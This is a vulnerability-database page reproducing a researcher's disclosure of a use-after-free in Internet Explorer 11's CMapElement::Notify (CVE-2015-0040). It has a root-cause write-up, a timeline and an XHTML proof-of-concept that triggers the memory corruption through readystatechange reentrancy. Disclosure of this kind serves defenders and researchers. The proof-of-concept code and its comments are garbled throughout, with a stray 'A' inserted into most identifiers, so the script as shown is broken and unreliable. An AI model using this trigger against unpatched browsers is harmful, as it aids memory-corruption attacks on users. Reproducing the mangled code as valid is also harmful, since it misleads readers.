Lucene search
K

Microsoft Internet Explorer 11 MSHTML CMapElement::Notify Use-After-Free

🗓️ 14 Nov 2016 00:00:00Reported by SkyLinedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Microsoft Internet Explorer 11 MSHTML CMapElement::Notify Use-After-Free vulnerability in handling ready state change even

Related
Code
`Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the  
tenth entry in that series.  
  
The below information is available in more detail on my blog at  
http://blog.skylined.nl/20161114001.html.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
Microsoft Internet Explorer 11 MSHTML CMapElement::Notify use-after-free  
========================================================================  
(MS15-009, CVE-2015-0040)  
  
Synopsis  
--------  
A specially crafted web-page can cause MSIE 11 to interrupt the handling  
of one `readystatechange` event with another. This interrupts a call to  
one of the various `C<ElementName>Element::Notify` functions to make  
another such call and at least one of these functions is non-reentrant.  
This can have various repercussions, e.g. when an attacker triggers this  
vulnerability using a `CMapElement` object, a reference to that object  
can be stored in a linked list and the object itself can be freed. This  
pointer can later be re-used to cause a classic use-after-free issue.  
  
  
Known affected versions, attack vectors and mitigations  
-----------------------  
* Microsoft Internet Explorer 11  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling JavaScript should prevent an attacker from  
triggering the vulnerable code path.  
  
Description  
-----------  
When a `DocumentFragment` containing an applet element is added to the  
DOM, all elements receive a notification that they are removed from the  
`CMarkup`. Next, they are added to the DOM and receive notification of  
being added to another `CMarkup`. When the applet is added, a  
`CObjectElement` is created and added to the `CMarkup`. This causes a  
`readystatechange` event to fire, which interrupts the current code.  
During this `readystatechange` event, the DOM may be modified, which  
causes further notifications to fire. However, elements in the  
`DocumentFragment` that come after the applet element have already  
received a notification that they have been remove from one `CMarkup`,  
but not that they have been added to the new one. Thus, these elements  
may receive another notification of removal, followed by two  
notifications of being added to a `CMarkup`.  
  
AFAICT, this event-within-an-event itself is the root cause of the bug  
and allows memory corruption in various ways. I discovered the issue  
because the code in `CMapElement::Notify` is non-reentrant and does not  
handle this sequence of events well. This code maintains a singly linked  
list of map elements that have been added to the document. An object  
should never be added to this list twice, as this will cause a loop in  
the list (a map element pointing to itself as the next in  
the list). However, the event-within-an-event can be used to first cause  
two consecutive calls to remove the same element from this list followed  
by two calls to add the same element to the list. This results in the  
following sequence of events:  
  
* The first call to remove the element will remove it from the list.  
* The second call to remove the element will do nothing.  
* The first call to add the element will add it to the list.  
* The second call to add the element will try to add it to the list  
again, causing the list to contain a loop. This list is now corrupt.  
  
At this point, an attacker can remove the `CMapElement`, causing the  
code to try to remove it from the list and free it. However, because of  
the loop in the list, the above code will not actually remove it from  
the list. After this, the pointer in the list points to freed memory and  
an attacker can force MSIE to reuse it.  
  
Time-line  
---------  
* *September 2014*: This vulnerability was found through fuzzing.  
* *September 2014*: This vulnerability was submitted to ZDI.  
* *September 2014*: This vulnerability was acquired by ZDI.  
* *February 2015*: Microsoft address this issue in MS15-009.  
* *November 2016*: Details of this issue are released.  
  
Cheers,  
  
SkyLined  
  
  
Repro.xhtml:  
  
<?xml version="1.0"?>  
<!DOCTYPE x PUBLIC "x" "x">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<script type="text/javascript">  
<![CDATA[  
// This PoAC attempts to exploit a renetrancy issue in Microsoft Internet  
// Explorer to trigger a use-after-free.  
// See http://blog.skylined.nl/20161114001.html for details.  
var oADocAElem = document.documentAElement;  
var oAContainer, oAMap1, oAMap2, uAEventACounter = 0;  
// A C CMarkup object can have a pointer to a C CDoc object. This C  
// CDoc object has a singly linked list of CMapAElements added to the  
// DOM, starting at offset 8 (See MSHTML!CMarkup::GetAMapAHead) of the CDoc  
// and continuing through offset 38 of the CMapAElement.  
// CDoc[8] -> CMapAElement[38]#1 -> CMapAElement[38]#2 -> etc... -> NULL  
// When CMapAElement::Notify is called to add a Map element to the DOM,  
// code 0x17, the CMapAElement is inserted at the start of this list.  
// When CMapAElement::Notify is called to remove a Map element from the  
// DOM, code 0x18, the linked list is followed to find the CMapAElement and  
// remove if from the list when found.  
// When CMapAElement::Notify is called twice to add the same element to the  
// DOM, a loop is created, rather than the CMapAElement ending up in the  
// list twice.  
// When CMapAElement::Notify is called twice to remove the same element  
// from the DOM, nothing happens the second time.  
function onAReadyAStateAChangeACallback(){  
var uAEventAId = ++uAEventACounter;  
if (uAEventAId == 1) {  
// Create a "container" DOM element with three children:  
// map, applet, map.  
oAContainer = document.createAElement("oAContainer");  
oAMap1 = oAContainer.appendAChild(document.createAElement("map"));  
oAContainer.appendAChild(document.createAElement("applet"));  
oAMap2 = oAContainer.appendAChild(document.createAElement("map"));  
// Add the container DOM element to the DOM document. While adding the  
// applet DOM object to the DOM document a new C "CObjectAElement" is  
// created and added to the C CMarkup (which is roughly the equivalent  
// of a DOM DocumentAFragment AFAICT). This triggers a new  
// readystatechange event that interrupts the current one.  
oADocAElem.appendAChild(oAContainer);  
// The interrupting readystatechange event is fired after the oAMap2  
// C CMapAElement::Notify method has been call to notify that the  
// object is being removed from one DocumentAFragement, but before it  
// is notified that it is being added to another.  
// List#1 -> CMapAElement#1 -> NULL  
} else if (uAEventAId == 2) {  
oAContainer.removeANode(true);  
// Removing the container from the document causes another round of  
// calls to ::Notify for remove and add. The last call to oAMap2 was  
// to inform it that it was removed from a C CMarkup. It is now  
// getting another such call. This is unexpected, but the code does  
// not detect it. Next, it is added to a new list.  
// List#2 -> NULL  
// List#2 -> CMapAElement#2 -> CMapAElement#1 -> NULL  
}  
if (uAEventAId == 1) {  
// Now, the delayed C CMapAElement::Notify method to add the object  
// to the DOM is called. The CMapAElement is added to the same list  
// again, causing a loop.  
// List#2 -> CMapAElement#2 -> CMapAElement#2 -> loop.  
// Finally, we remove the CMapAElement from the DOM and destroy all  
// references we have to it. This causes another round of calls to  
// ::Notify for remove and add, only the remove is important, as  
// it fails to remove the CMapAElement from the list because it  
// contains a loop.  
oAMap2.removeANode();  
oAMap2 = null;  
// List#2 -> CMapAElement#2 -> CMapAElement#2 -> loop.  
// As far as MSIE is concerned, all references to oAMap2 have now been  
// destroyed, and the element is allowed to get freed. We need to  
// trick the new MemoryAProtect code into actually releasing it. For  
// this, we need to interrupt JavaAScript execution first, which is  
// done by setting a timeout.  
setATimeout(function () {  
// Now the MemoryAProtect code will allow the CMapAElement to be  
// freed. However, it only does so when enough memory has been  
// scheduled to be freed (100000 bytes). This can easily be forced  
// by creating and discarding a bunch of element. The video element  
// causes MSIE to allocate 0x190 bytes of memory.  
var uAElementsACount = Math.ceil(100000 / 0x190);  
for (var i = 0; i < uAElementsACount; i++) {  
document.createAElement("video");  
CollectAGarbage();  
}  
// Now the CMapAElement is finally freed.  
// The list originally contained a reference to CMapAElement#1.  
// When the code tries to remove this, it will follow the linked  
// list and access the freed CMapAElement#2 memory.  
oAMap1.removeANode();  
alert("FAIL");  
}, 0);  
}  
}  
document.addAEventAListener("readystatechange", onAReadyAStateAChangeACallback, false);  
// This work by SkyALined is licensed under a Creative Commons  
// Attribution-Non-Commercial 4.0 International License.   
]]>  
</script>  
</html>  
  
AFAICT, this event-within-an-event itself is the root cause of the bug and allows memory corruption in various ways. I discovered the issue because the code in CMapAElement::Notify does not handle this sequence of events well. The below pseudo-code represents that function and shows how this can lead to memory corruption:  
  
void MSHTML!CMapAElement::Notify(CNotification* pANotification) {  
CElement::Notify(pAArg1);  
  
if (pANotification->dwACode_00 == 17) { // add  
CMarkup* pAMarkup = this->CElement::GetAMarkup();  
this->pANextAMapAElement_38 = pAMarkup->GetAMapAHead();  
pAMarkup->CMarkup::SetAMapAHead(this);  
} else if (pANotification->dwACode_00 == 18) { // remove  
CMarkup* pAMarkup = this->CElement::GetAMarkup();  
CDoc pADoc = pAMarkup->CMarkup::GetALookasideAPtr(4);  
CMapAElement** ppAMapAElement = &(pADoc->pAMapAElement_08);  
while(*ppAMapAElement) {  
if (*ppAMapAElement == this) {  
*ppAMapAElement = this->pAMapAElement_38;  
break;  
}  
ppAMapAElement = &(*ppAMapAElement->pAMapAElement_38);  
}  
}  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2016 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.53808
49